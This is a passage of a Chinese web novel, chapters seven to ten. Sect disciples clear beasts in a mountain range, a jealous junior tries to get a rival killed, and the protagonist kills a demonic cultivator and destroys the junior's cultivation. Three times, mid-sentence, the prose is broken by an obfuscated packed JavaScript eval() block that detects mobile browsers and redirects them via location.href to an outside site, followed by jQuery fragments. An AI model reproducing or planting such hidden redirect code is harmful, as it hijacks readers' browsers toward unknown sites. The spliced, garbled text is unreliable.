《反派嫁给了穿书龙傲天》
7. 第七章
沈辞秋御剑,很快便越过了郁魁,带着这帮弟子落到了玉仙宗正山广场上。
一道奚落的声音响起:“沈师兄今日来得这么晚,我可比你早到半柱香,如何?”
沈辞秋放下谢翎,侧过脸,看见了得意洋洋的某人。
此人是大长老弟子卞云,年纪比沈辞秋大,入门时间比沈辞秋晚,修为也不如沈辞秋。
全方位嫉妒沈辞秋,并且看他不顺眼,最爱阴阳怪气,不放过任何一个能怼上沈辞秋的机会。
但卞云人缘好,因此也有许多弟子愿意跟随他,每回内门高阶弟子们一起办事,就容易形成沈辞秋和卞云一人带一队,两边泾渭分明的局面。
卞云虽然视他为对手,但都是明着来,不管骂架还是打架,没耍过阴招,而且在应对外敌时,他会跟沈辞秋站到一条战线,不乱搞内讧。
跟慕子晨的手段比起来,卞云简直称得上光明磊落,不过是意气之争,所以沈辞秋从来也没把卞云的敌意当回事。
上辈子卞云死的时候,沈辞秋赶到了他身边。
卞云死得很惨,经脉俱断,手脚无法动弹,口舌也废了,他睁大眼,似乎拼命想告诉沈辞秋什么,但是张口只吐出血来,就咽了气。
死不瞑目。
之后有人暗地里传,是沈辞秋对卞云痛下杀手,因为卞云尸身上留有玉仙宗剑法的痕迹,还有些许冰霜寒气,这让沈辞秋因小师弟开始破损的名声愈发雪上加霜。
与卞云要好的一些人也记恨上了他,沈辞秋与玉仙宗很多人愈发渐行渐远。
如今看着还活着的卞云,还是那么熟悉的挑衅,沈辞秋格外宽容:“嗯,你厉害。”
卞云:??
以往沈辞秋面对他的挑衅,是一个字都懒得多说,今天太阳打西边出来了!?
卞云上上下下打量他:“你是不是在拐着弯骂我,你也学会阴阳怪气了?”
沈辞秋:并不。
但是结合眼下场景,自己刚才那句话好像真的有挖苦人的嫌疑。
尤其是沈辞秋身后一个弟子还呵了一声:“早到半柱香又怎样,反正我们没迟到,而且沈师兄如今是有家室的人,卞师兄尚且独身,恐怕不能理解晨间屋中的乐趣!”
沈辞秋:“……”
他突然很想用谢翎那句话来形容自己此刻的无言以对:我真是谢谢你。
说得很好,下次别说了。
卞云:“定亲又不是成亲,算个屁的家室……等等,你这么快就直接把人带上床了?”他表情古怪地打量被拎过来的谢翎,“我还以为你清心寡欲,不通人事。”
旁边的谢翎听到这话,突然觉得,只要能损一损沈辞秋清冷如仙的名声,在外人面前撕下他道貌岸然的皮,哪怕传言里自己是下位,那也是他赚了。
反正他俩又没真滚床单,外人说他也不会少块肉,可沈辞秋和宗门的关系就很微妙了。
说来,原著里也没讲过沈辞秋为什么叛出宗门。
因为他宰了鼎剑宗的少宗主温阑,不想连累玉仙宗所以自己离开?
也不像。
因为后来他碰上玉仙宗的人,双方都是实打实的杀招,他们到底是怎么决裂的,谢翎突然有了点兴趣。
沈辞秋刚要开口,卞云却一抚掌,大喜:“好事啊,等你沉迷小白脸荒废修为,我迟早能超过你!”
沈辞秋漠然脸:“那你就想多了。”
卞云啧了一声,又看向郁魁,平等地对每个人开炮:“郁师弟脸色怎么这么难看,生病了就回去休息,我们会把事儿做完,保准比你做得好。”
郁魁心里还在给谢翎扎小人,闻言把卞云的小人也加上了,阴沉沉道:“不牢卞师兄费心,你还是先顾好自己吧。”
郁魁看了看沈辞秋的背影,心里的气又化作酸楚,他想不明白,为什么在他和谢翎之中,沈辞秋竟然偏向个刚认识一天的人,要知道他和沈辞秋做了十几年的师兄弟,和亲人也没什么分别了。
就因为未婚道侣的身份?
不,他不信,肯定是谢翎耍了什么手段,否则按照师兄清冷的性子,绝不可能第一晚就放人进屋,他迟早要拆穿谢翎的旁门左道!
郁魁不知道,沈辞秋曾经也想不明白,小师弟入门才多久,郁魁就能为了他跟自己反目,宁愿相信自己对小师弟见死不救,也不愿相信沈辞秋的为人。
沈辞秋把自己的后背交给他,他却故意卖了破绽,让邪修刺中沈辞秋一剑。
还说这是给小师弟讨回公道,以牙还牙。
当时沈辞秋伤痛,心口也痛,如今沈辞秋不过是才开始冷落他,这就受不了了?
果然是要刀子割到自己身上才知道难受。
沈辞秋和卞云点齐了人,带着弟子们离宗,他俩本来是各领十人,但沈辞秋还带上了个……嗯,半个家属和他的侍卫。
登上玉仙宗早准备好的飞行云舟,卞云本来以为谢翎只是来送行的,但看着谢翎也登船,忍不住道:“你把他带上干什么,我们出门办正事,还得分精力去护着他?”
沈辞秋守着弟子们登船,只道:“他侍卫会管他,不劳你费心。”
卞云翻了个白眼:“虽然他看着没用了,但刚跟你定亲就出事,到时候影响玉仙宗名声,我是为宗门考虑,又不是帮你费心。”
在云舟缓缓升起时,卞云抱着胳膊沉默片刻,才嘀咕了句:“我还是觉得你脑子被驴踢了,不选温阑选谢翎,想什么呢?”
是啊,鼎剑宗与玉仙宗交好,温阑这两年与他走得近,在人前表现也优异,于公于私,好像温阑都是他的最佳人选。
如果沈辞秋不知道温阑究竟是个什么人的话。
云舟飞升,沈辞秋望着飘渺云层,目光深邃,嗓音似雪:“他注定不是我的同路人。”
天光在他面颊上镀上玉润的清辉,谢翎听到这句,手中折扇一顿,忍不住细细打量沈辞秋。
沈辞秋漂亮的眼睛里映着白云,澄澈空灵,十分平静,谢翎总觉得自己该从方才那句话里窥见他内心些许破绽,但是太快了,像风,什么都没来得及抓住。
难道沈辞秋跟原著不同,已经提前跟温阑闹上矛盾了?
温阑,谢翎心底一叹,本来吧,你才该是反派的未婚夫,结果本殿下顶替了你的位置,真是多灾多难,给你挡枪,兄弟高低该给我立个长生牌以表感谢。
卞云嘀咕这么句就走开了,沈辞秋偏头,正好对上谢翎欲言又止的神情,手指轻搭在船舷上:“你想问什么?”
谢翎:“咳,就是有点好奇,啊当然,只有一点,你跟温澜……”
沈辞秋:“我与他之间什么也没有。”
“哦。”谢翎看他不想多说,点点头,“我以前不是也有个未婚夫吗,知道我修为被废了就火急火燎上来退婚,反正我压根就不喜欢他,退婚正中下怀……”
说着说着,谢翎声音越来越低,他和沈辞秋的表情同时微妙起来。
不是,他跟沈辞秋说这个干什么?
听起来简直就像刚交往不久的情侣互相给对方表示清白。
可他和沈辞秋又不是这种关系。
谢翎打了个寒颤,闭嘴了。
沈辞秋也觉得这话不知要怎么接,他根本没了解过谢翎前未婚夫的事,眼下提与
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456074|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不提,好像都很奇怪。
毕竟他跟谢翎又不会真的成婚。
谢翎欲盖弥彰,展开折扇生硬地换了个话题:“所以我们到底是去哪儿?”
沈辞秋也不想再谈先前的话,顺着台阶走:“古翠山脉邪兽暴动,御兽宗暂且封了山脉,我等前去协助处理邪兽。”
御兽宗一个不大不小的门派,好处不敢独占,坏事也不会独抗,遇上这种能得好处但是有麻烦的事,自然是要求援的。
古翠山脉?
谢翎心头一动,古翠玉不就是在这个山脉中发现的吗!
这可是个好宝贝。
他心情立刻由阴转晴,但介于沈反派实在太敏锐,他不敢再露馅,嘴上只说:“那你们努力,我纯当赏景,我还没去过古翠山,好玩吗?”
沈辞秋摇摇头:“没好玩的,你跟着我们就是。”
谢翎心想,你是不知道所谓主角气运,即便你非要跟我在一块儿,指不定就会出现什么岔子把我们分开,然后我三步一奇遇、五步一宝藏,很快就能恢复修为一飞冲天,让你这个反派见识到主角的厉害。
沈辞秋不知道谢翎志向如此远大,当然,即便知道了,也只会淡然点头。
等谢翎恢复了修为,如果真想来杀自己,到时候就各凭本事,看谁的刀子更利索。
云舟飞了半天,在一处山间停下,御兽宗看到玉仙宗的船,立刻上前来迎。
此地已经聚了不少人,有人登记了姓名来历,早入山杀上了。
御兽宗的弟子给他们引路:“各位师兄这边请,采集的兽丹可以自留,也可以出来后找我们换灵石,里面多是二三阶邪兽,还请各位小心。”
二三阶邪兽也就是修士筑基的水平,沈辞秋卞云还有郁魁三个金丹不在话下,主要是其他弟子历练,他们是来护着人的。
登记好弟子信息,各自拿了腰牌,可以穿过封山结界。
一行人入了古翠山脉,里面邪兽暂且不足为惧,但人多水浑,沈辞秋和卞云也就没有分开带队,领着众人同路而行。
谢翎正在努力想古翠玉在哪儿。
虽然知道重要剧情,但细枝末节的事和现实未必对得上,比如说原著中写什么“眨眼就到了”、“一息踏出千步”,等你真来到茫茫深山或者广袤无垠的秘境,靠着这种不准确的描述,怎么知道宝贝确切位置。
系统不开放地图功能,差评。
山脉中邪兽暴动,简直堪比一个小型兽潮,踏入山脉开始,众人的灵剑法器就没停过,邪兽凶戾声不绝于耳,杀得鲜血四溅。
沈辞秋和卞云没怎么动手,只在弟子撑不住时补上空缺,而谢翎……从头到尾就完全没动手,有黑鹰这个合体修士在,二三阶的邪兽休想近他的身。
郁魁看不惯他悠哉的模样,嘲讽:“你还真游山玩水来了,就不能有点奋发图强的心思,动动手,万一你那可怜的修为还能往上蹦个一层呢?”
谢翎一摊手:“那怎么办,我废人一个也有阿辞疼,我说师弟,你看我这么不顺眼,我都要怀疑你对阿辞是不是有什么别的心思了。”
郁魁就跟踩了尾巴一样跳了起来:“你少胡说!我拿师兄当亲兄弟!”
“我就是替师兄委屈,他找个废物做未婚道侣,以后带出去别人怎么说他,不嫌丢人吗?你要是识趣,就自己离开我师兄!”
我倒是想走,你问你师兄肯放人吗,不过,带出去嫌丢人这个理由……谢翎确定一件事,郁魁这个友方助力,他是真不打算要了。
沈辞秋自己都不嫌,郁魁却替他觉得丢人,丢的究竟是谁的人。
多大脸啊?
8. 第八章
弟子们剿了一阵邪兽,沈辞秋带人清出块地方,让大家休整片刻,谢翎本来不想去挨着沈辞秋,但刚跟郁魁打完嘴仗,他决定继续气死这个弟弟,于是抬步过去。
而郁魁一看他要粘着师兄,也立刻跟了上来。
就在他俩离沈辞秋还有两三步远的时候,他们脚下的土地忽然猛地震颤!
众人还没反应过来,谢翎和郁魁落脚的地方直接塌陷,眨眼间他俩就被吞了进去,身影瞬间消失。
黑鹰就在谢翎旁边,也被卷了进去。
沈辞秋和卞云一惊,立刻赶到洞口边查看,却见里面漆黑深邃,一眼竟然望不到底。
卞云用火光飘进洞口一照,视线可及之处空空荡荡,除了石壁,什么也没有,三个人掉下去,也没听到人声。
“奇了怪了。”卞云道,“我们刚刚走过的时候,怎么没察觉不对劲?”
等了两息,底下没人御剑飞上来,喊话也没人答应,肯定是出了问题,传音玉牌也联络不上人,卞云看向沈辞秋:“怎么说,你的人。”
沈辞秋收回探看神识:“你在这里护着弟子,我下去看看。”
卞云:“不带几个人帮你?”
沈辞秋:“里面情况不明,若有我都没法应付的危险,带他们下去,岂不是白白让人受伤。”
卞云凉丝丝睨了他两眼:“知道吗,就是因为一有什么你都站到最前方,才把郁魁还有一些弟子惯出了毛病。”
沈辞秋愣了愣,恍然明白了件事:原来如此,因为习惯了,多么简单的道理。
就像郁魁,因为习惯了,所以他这个大师兄为他好是理所当然,根本不懂珍惜,十几年的情谊也比不上新鲜的小师弟。
郁魁是这种人,温阑也是。
原来如此,竟是这么简单又可笑的理由……和人。
沈辞秋在心底漠然掬起一捧沙,看着它们从自己指尖滑落,清冷的眼中抹开寒芒。
没有谁对谁好是理所当然,既然他们不珍惜,那么死在自己手上,也就更加活该。
沈辞秋回应卞云的话:“知道了,以后注意。”
“不过眼下的确是最好的解决方式,不可能放着其他人不管。”卞云在洞口边站住,“留个符,有事发信号,我见机行事。”
沈辞秋想,其实卞云也跟他一样,遇到危险冲在前方,断后时最后一个走,不然上一世卞云怎么会孤零零死在那儿。
而且沈辞秋这要一个人追下去,是存了私心的。
底下若真有什么未知危险,这岂不是让郁魁葬身于此的好机会?
为了复仇,他可以忍,可以耐心地等,但一旦有了机会,沈辞秋绝对不会放过。
所有人都没察觉,沈辞秋琉璃般的眸子里闪过一丝暗芒,那是被克制的杀机。
沈辞秋给卞云留下张符箓,约好若有变故,燃符为讯,而后纵身一跃,飘飞的月白银袍宛若鹤羽,消失在漆黑的洞口里。
沈辞秋身形轻盈,像一片雪,不疾不徐往下落。
他纤长的睫羽轻颤,发现这个洞确实很深,半天不到底,可并没有什么限制灵气与御剑的阻力。
谢翎等人半天没上来,只可能是落下去时他们受了什么影响,现在又遇上了事,暂时出不来。
片刻后,沈辞秋足尖轻点,总算落到了地面。
脚下是松软的泥土,四周很黑,但以修士的目力照样能看得清楚,沈辞秋也就看清了面前两个岔路口。
两边路口的泥地上都有被拖拽的痕迹。
选哪边?
沈辞秋蹲下,仔细瞧了瞧拖痕,看出点不同来,一边应当拖拽了两个人,而两个人都没怎么反抗、或者是反抗无能;
另一边,痕迹要乱一点,反抗显然有点效果。
掉下来的人里,最厉害的是侍卫黑鹰,这么说,黑鹰去了一边,郁魁和谢翎去了另一边?
如果是黑鹰这个合体期都解决不了的麻烦……
谢翎不会跟郁魁死一块儿了吧?
沈辞秋感受了一下同命咒,嗯,还在,谢翎还活着。
说明两边的麻烦可能不一样。
他选了很可能是谢翎和郁魁在的那条路。
进去后才发现,里面赫然十分宽广,并不是什么狭窄逼仄的通道,沈辞秋一边走,一边留下记号,方便待会儿能找原路折返。
沈辞秋走了一阵,拐过几道弯,隐隐约约听到兵刃相接之声,他心头一动,没急着现身,隐匿气息,藏在阴影之中。
而后他看到了谢翎、郁魁,还有一个邪修。
邪修也就金丹初期,根本没察觉沈辞秋暗中靠近,跟郁魁打得有来有回。
谢翎站在稍远的地方,正在从储物器中摸什么法器。
谢翎有钱,好东西不少,但问题是他修为如今不高,就是给他个神器也发挥不出威力,只能用来砸核桃。
眼下不被那两人打架的余威给波及就不错了。
郁魁一开始懒得管他,但等跟邪修打了半天没拿下,打出火气后,再看谢翎片尘不沾身的模样,就忍不住了。
“废物!”郁魁喘着粗气甩了甩剑,谢翎已经免疫了,“翻来覆去就一个词,你倒是换点新鲜的啊。”
要不是谢翎刚定亲就死会影响玉仙宗名声……等等,郁魁一眯眼,若死得不明不白,是不好交代,可如今这里有个邪修,现成的杀手送上门来,完全能堵住妖族的嘴。
证人有的是,妖皇想必也不会再为一个废物儿子跟玉仙宗撕破脸。
郁魁眼中划过一抹厉色,真是上天都在帮他除掉这个碍眼的家伙!
他重新与邪修对上,边打边往谢翎这边靠。
邪修没有选择先对谢翎动手,打的是解决厉害的人之后剩下那个随便杀的主意,就没把谢翎放在眼里。
谢翎看他们凑近了,皱皱眉,刚想往旁边退,谁料郁魁突然一个旋身,闪到了谢翎背后。
还把谢翎往前一推。
谢翎瞳孔骤缩!
他即便想躲,也来不及了,邪修裹着邪气的掌风已经到了他眼前,这一下要是被拍实了,不死也残。
谢翎心中大骂,但在生死关头,他没有坐以待毙,手中折扇一翻,抬手就要去挡。
这把扇子是他惯用武器,也是个天阶的至宝,虽然如今在他手里完全发挥不出威力,但能拦一下是一下。
若说先前谢翎只是不想要郁魁这个助力,那么此刻起,他就真正动了杀心。
此番之后,他若能活,必除郁魁。
谢翎做好了最坏的打算,就在邪修手掌离他只剩三寸远,他面颊都被掌风刮得生疼时,谢翎突然感到肩上一紧,有什么东西绕了上来。
谢翎一愣,眨眼,他就被拽到了一边。
——是沈辞秋。
他甩出鞭子,缠住谢翎,一把将人扯开了。
郁魁阴冷的笑容还没来得及消散,就惊慌地瞪大了眼,他面上表情瞬间凝成了十分可笑的模样,特别是邪修那一掌过来,他已经没有反应余地的时候。
他本好整以暇等着身前的谢翎替他抗下杀招,得意间放松了警惕,可变故突生,谢翎突然消失,邪修那一掌“嘭”地落下,不偏不倚,轰在了他丹田处。
郁魁瞬间倒飞出去,狠狠砸在墙壁上,溅落层层泥土,他哇地吐出一口血来,勉强撑起身子,只隐隐约约好像看到了沈辞秋,看到沈辞秋……落在了谢翎身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456075|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边。
师兄,是师兄,可你为什么不救我,你为什么——
郁魁在惊怒和疼痛中眼前一黑,晕死过去。
谢翎刚逃过一劫,后知后觉出了点冷汗,他他愣愣转头,看到沈辞秋清冷的侧脸。
沈辞秋月白的衣袍在幽暗的地底格外醒目,就像飘入墨池的霜雪,少年手执长鞭,身姿玉立。
那邪修重伤了郁魁,谨慎打量起新出现的沈辞秋:灵力浑厚,修为应当在他之上,但也未必高出很多,自己手里还有很多好东西,可以一战。
邪修摸出两把刀来,盯着沈辞秋嘿嘿一笑:“我最喜欢你们这些少年郎,年轻,稚嫩,剥了皮、放了血,那血用来修炼效果最好。”
邪修话语里有故意的成分,因为很多年轻人沉不住气,稍微一激就容易火气上头冲动行事,进而露出破绽,但这番话在沈辞秋面前全沉了底,丁点水花都没能掀起。
沈辞秋往前踏了一步——寒气骤起,空中洋洋洒洒,竟是悠然飘落了冰晶雪花。
冰灵根啊,邪修眯眼,率先出招!
沈辞秋也动了,深邃的地底中鞭风凛冽,长鞭裹挟着寒冰霜力,掠过空中雪花,呼啸着劈向了邪修。
邪修的刀上燃起黑焰,抬刀便挡。
他看得出鞭子不过是普通法器,怎能跟他这把玄阶上品的刀比,法器分为天地玄黄,那条鞭子不过玄阶下品罢了。
他眼力不错,这就是沈辞秋从刑堂里随手拿的,不是什么值钱东西。
但是,此刻握鞭的人叫沈辞秋。
眼看鞭子就要被刀劈成两段,邪修刀势汹汹,直接利索一划——
却划了个空。
邪修瞳孔骤缩,糟了,是虚影!
空中飞扬的冰晶雪花可不止是因为灵力外放,除了好看,它们有大用处,比如制造虚影,迷惑敌人的双眼。
等邪修意识到这一点,已经来不及了,他刀势走空,而沈辞秋绝不会再给他机会。
漆黑的长鞭悍然砸下!
一鞭伤筋骨,邪修惨叫,弯刀脱手而出,沈辞秋眸光冷冽手中不停,翻手再又是一鞭——
五脏俱伤,抽得邪修喷出一口血来。
而第三鞭蜿蜒一绕,鞭身灵活如蛇,几乎是温柔缱绻地爬上邪修脖颈。
然后,颈骨咔嚓一声轻响。
邪修的惨叫声戛然而止。
他的颈骨就这么被“温柔”地绞断了。
直到邪修尸身倒下,谢翎冒出的那滴冷汗才堪堪滑落,也就是说,这一切不过发生在瞬息之间。
只用三鞭,沈辞秋就轻易杀了一个金丹初期的邪修。
他甚至没有用剑。
元婴之下,大境界中的小境界差距不该这么可怖,沈辞秋完全不像一般的金丹后期。
谢翎只觉得自己脖颈也一凉,他忍不住摸了摸被同命咒圈住的地方,心道:不愧是能有一定戏份的反派,战力不容小觑。
幸亏沈辞秋来得及时,不然他就被郁魁害惨了。
谢翎张口,刚想道谢,看清沈辞秋神色的时候,又猛地一顿。
沈辞秋的杀意还没有消散。
他一点点收回鞭子,剔透的冰晶自他墨发边飘落,白衣映雪,在漆黑的地底美得惊心动魄,不似人间物。
沈辞秋眼底淬开了一种说不出的光彩,冰冷又灼热,看似平静却又好像快要难以遏制,他拎起邪修掉在一旁的刀,周身冰晶乱舞,在飘飞的霜雪间,他一步步走向了郁魁。
郁魁方才想借邪修的手杀了谢翎,认为这是个绝佳的机会,好巧,沈辞秋也是这么想的,只是要杀的对象不太一样。
这是个多好的,除掉郁魁的机会啊。
9. 第九章
随着沈辞秋一步步踏出,谢翎终于明白沈辞秋的杀意是冲着郁魁去的。
他不由愣了愣:所以沈辞秋不仅会杀未婚夫,还早就想杀自己师弟了?
看来这才是日后导致沈辞秋跟玉仙宗决裂的主要原因。
谢翎不过多想两句,沈辞秋就已经走到了郁魁的身边,他手指一动,眼看就要提刀,谢翎忙道:“等等!”
沈辞秋身形停住,极为缓慢地回过头。
他如画的面颊上没有任何多余表情:“你想救他?”
明明是跟平常差不多的语气,但在幽静深邃的地底,随着山壁不轻不重一回荡,幽幽如鬼魅,谢翎听得头皮发麻,浑身羽毛都在叫嚣着危险!
沈辞秋状态不对劲。
就像看似安然寂静的冰山,里面实则已经开始层层碎裂崩坏,若有外力这时候敢去碰一碰,必定山崩地裂,砸下的巨石冰雪会把所有人卷进来。
一个冰冷又安静的疯子,杀意全盛在那双漂亮的眼睛里。
谢翎真怕一句话惹了沈辞秋不高兴,他就会把自己一起剁了,赶紧表态:“怎么可能,他刚想杀我,我救他干什么,你就算杀了他,我也当没看见。”
沈辞秋轻轻眨了眨眼,乌黑的睫羽轻动,像是在迟缓地判断谢翎说的是真是假。
又好像在问:那你叫住我做什么?
“真的,”谢翎说,“我只是觉得就这么杀了太便宜他了。”
便宜他了?
沈辞秋目光落在昏迷的郁魁身上。
郁魁现在没有知觉,昏迷中给他一刀他也不会痛,会死得安安静静,悄无声息。
沈辞秋看着他的脸,脑海中划过许多片段。
小师弟慕子晨一入师门,郁魁就很喜欢,可能是因为自己终于多了个师弟,还是这样乖巧听话的师弟。
他也终于能体验一把师兄的感觉,当时就高兴坏了,围着慕子晨嘘寒问暖。
沈辞秋最初对慕子晨也不错,但察觉慕子晨对自己的亲昵似乎有越界时,沈辞秋一边怀疑是不是自己想多了,一边主动拉开了点距离,避免让他人产生误会。
毕竟自己是有婚约在身的人,理当知晓分寸。
慕子晨借着酒劲深夜闯入自己房间时,沈辞秋冷静地用灵力给他醒了神,把他请出去。
慕子晨当时看着着实可怜,但似乎即便羞愧不已,也仍然鼓起巨大的勇气,哪怕冒着受伤的风险也要将自己的一片真心送出:“师兄,我对你真的……”
“小师弟,”沈辞秋打断了他,提醒他有些话不能说出口,“我已有未婚道侣,抱歉。”
慕子晨好像要哭了。
沈辞秋:“今晚的事我不会告诉任何人,我们以后还是寻常师兄弟。”
慕子晨转身狼狈地跑出他房间。
那时候沈辞秋以为小师弟只是一时心绪走岔,说开便好了,直到慕子晨透过每一句“不小心的话”,一点点开始挑拨他与周围人的关系,其余人逐渐对小师弟表现出不寻常的情感,而与沈辞秋关系越来越僵的时候,他才恍然明白。
慕子晨当时分明就是刻意勾引。
勾引不成,他便被踢出了局。
而成了的那些,围着他团团转,为他所用。
比如他的好师弟郁魁,曾经自己当弟弟养着罩着的人,在慕子晨直接污蔑自己见死不救之前,郁魁对自己的不满其实已经有了苗头,只是他不够在意。
“师兄,你是不是不喜欢小师弟?”
“师兄,你对子晨好点啊,子晨在外都惦记着你,可你呢,怎能没有师兄的样?”
他当时为什么没过分在意呢,是因为他以为,自己和郁魁十多年的师门手足情谊是真的,结果,就变成了——
“沈辞秋!小师弟受伤都是你害的,你怎么能这么干!”
“沈辞秋,你把仙骨给子晨,你给他啊!”
只有他是个傻子,相信所谓情谊,所以一字一句,诸多模样,都是曾经扎在沈辞秋心上的刀。
沈辞秋曾被郁魁伤在了看不见的地方。
……如此想想,一下杀了,好像是便宜他了。
沈辞秋曾经不是没有训过郁魁要注意下自己的性子,只是那时候他觉得郁魁尚且可以教导,到头来,是沈辞秋一厢情愿了。
有些白眼狼,是教不熟的。
沈辞秋周身飞舞的冰晶打了个旋,拂过他雪白的皮肤慢慢飘落,汹涌的灵力也逐渐安静下来。
谢翎见肆虐的寒意退去,试探着再度出声:“他高高在上骂我废人,无非也是仗着自己天资不错,就嚣张跋扈,不如废了他修为,让他体验下人间疾苦,再杀不迟。”
“当然,我也就是个小建议,你要是觉得不好,尽管杀就是,我双手赞成。”
谢翎严谨补充。
最后一片飘舞的六瓣雪晶落下,沈辞秋似乎极为清浅地笑了一声,太轻,谢翎不确定自己是不是听错了。
沈辞秋轻声说:“谢师弟,你可真不是个好人。”
我如今也不是什么好人。
谢翎听出他语调恢复如常,应当是从疯魔的状态里走出来了,松了口气,展扇一笑:“沈师兄,我们彼此彼此。大部分时候,我都是个好人,但我没有以德报怨的习惯,他要我死,我不可能让他好过。”
沈辞秋:“你说得对,有仇报仇才是人心。”
沈辞秋扔了邪修的刀,倾身凑近郁魁,他的衣摆在地面绽开,像朵不染尘埃的冰莲。
沈辞秋探了探郁魁的脉搏,同为金丹,邪修那一掌破了郁魁的法衣,让郁魁重伤,养一养就能好。
那怎么行,让他来帮帮师弟。
沈辞秋玉白柔软的手指贴上了郁魁丹田,他注视着郁魁的脸,就这么往下一按——
郁魁在昏迷中的身体登时被痛得痉挛抽搐,他闷哼一声,头一偏,唇角渗出血沫,灵力飞速从破碎的丹腑中流逝,消散得无影无踪。
沈辞秋收回干干净净的手,月白衣袂从郁魁身边无情掠过。
金丹破碎,丹腑尽毁,堂堂玄阳尊二弟子,往后就是个不能修行的废人了。
郁魁虽然天资不如他,但也是难得一见的天之骄子,否则不会被玄阳尊收为徒弟,他向来很以自己的资质为傲。
若是醒来后发现自己废了,不知会作何反应?
沈辞秋冷漠地起身。
他看了看自己的手,洁白无瑕干干净净,可他仿佛觉得染了什么脏东西,光用清净术清洗不够,还摸出条帕子,一点点把手指擦了过去。
沈辞秋的手是真好看,修长笔直,指尖圆润,他擦得很慢,谢翎在一旁,边觉得此景赏心悦目,边又在暗自警惕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456076|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽然他保证不泄密,命也捏在沈辞秋手里,但反派的心思不好猜,万一沈辞秋没疯完,翻脸无情就是要把自己杀了怎么办?
毕竟死人才最会保守秘密。
黑鹰那边究竟遇到了什么麻烦,怎么还不来!
谢翎不会傻到这种时候去问沈辞秋干嘛要杀自己师弟,如果不小心刺激了他,那就是找死。
同样的,他也不会问沈辞秋是不是在旁边看了半天戏才选择救他。
他一边想,是因为自己对沈辞秋还有用,所以他才出手,但……对沈辞秋的观感,总归有那么一丢丢微妙的变化。
大反派可能也不是那么穷凶极恶……不不,谢翎,你清醒一点,你脖子上还悬着名为同命咒的刀子呢!
对反派抱有期待你疯了?
谢翎扇子一敲脑门,把翻涌的那点情绪按了回去。
沈辞秋擦完手,把帕子震成了齑粉。
擦过的帕子他都嫌脏。
他能三鞭杀死金丹初期的邪修,实力的确不是普通金丹后期可比的,跟他重生前已经是元婴境界也有关,曾经迈过了元婴的门槛,心性感悟、灵力操控都不是寻常金丹能比的。
沈辞秋眸中暗藏的凶戾和杀机都已经暂时平静,目光淡然扫过谢翎,也不知道谢翎自己解读出了什么东西,主动朝邪修尸体挪了过去:“邪修的尸身我来翻,沈师兄不必脏了自己的手。”
杀完人翻储物器看有没有什么能用的宝贝,是修真界惯常操作。
沈辞秋:他其实没有要谢翎代劳的意思。
不过算了,无所谓。
反正在自己的眼前,谢翎也不可能成功昧下什么东西。
当着他的面是不可能,但先前沈辞秋还没来的时候,谢翎已经得到了古翠玉。
郁魁和邪修大打出手,殊不知宝贝就在角落里毫不起眼的地方,被谢翎这个好运的主角悄无声息就收了下来。
得到了最想要的,他对邪修的东西就没什么兴趣。
储物器都会打上修士自己的神识烙印,有些修士的印会在自己死后立马把储物器销毁,分文不留,不过大部分人还是不会这么干,毕竟并非人人都是孤寡一身,还是要给亲近之人留点东西。
谢翎的储物器是个腕扣,比镯子粗些,戴在腕间,而沈辞秋的储物器是对银色的戒指,一枚戴在中指上,牵出条银色的细链,连在小指的尾戒上,他手指每每一动,细链就跟着轻晃,煞是好看。
谢翎路过郁魁的身体时,还顺便非常故意的在他手上踩了一脚。
想害我,活该。
他翻邪修的储物器,本来想慢慢翻,拖延点时间等黑鹰来,但邪修的储物器实在好找,是个袋子。
好好的没坏,他也不看里面是什么东西,用清洁咒把储物器外面擦干净了,双手递给沈辞秋。
“沈师兄,请。”
谢翎在沈师兄和阿辞之间切换得真是行云流水,非常丝滑还不做作。
沈辞秋抬手,接过储物器。
然而就在他抬手碰到储物器的刹那,两道光忽然从储物器中窜出,一红一蓝,在沈辞秋和谢翎都没反应过来的时候,飞速朝他俩袭来!
沈辞秋和谢翎瞳孔一缩,同时收手,但也已经晚了。
那两道光迅速从他俩手背窜入,眨眼就融了进去。
10. 第十章
储物器哐当砸在地上,骨碌碌滚了出去,沈辞秋踉跄后退,一股难以言喻的热意遽然烧遍了全身。
热……好热……
他冷白的面颊顿时潮红,琉璃色的凤眼水雾氤氲,眼尾漾出胭脂色,艳得勾人心魂。
羽衣烟霞色,染做人间桃李花。 (注)
沈辞秋头脑昏昏沉沉,浑身提不起一点力,软得似要化成春水,脚仿佛踩在云端,身形摇摇欲坠。
沈辞秋无措抬手,就连指尖也被熏出了红,他微微喘息,竟无意识泄出一声迷蒙的轻吟:“嗯……”
与他完全相反,谢翎只觉得冷,四肢百骸快要冷到冻僵,他衣服上那华丽的孔雀羽仿佛都被冻得黯淡下去,整个人抱着胳膊一个哆嗦。
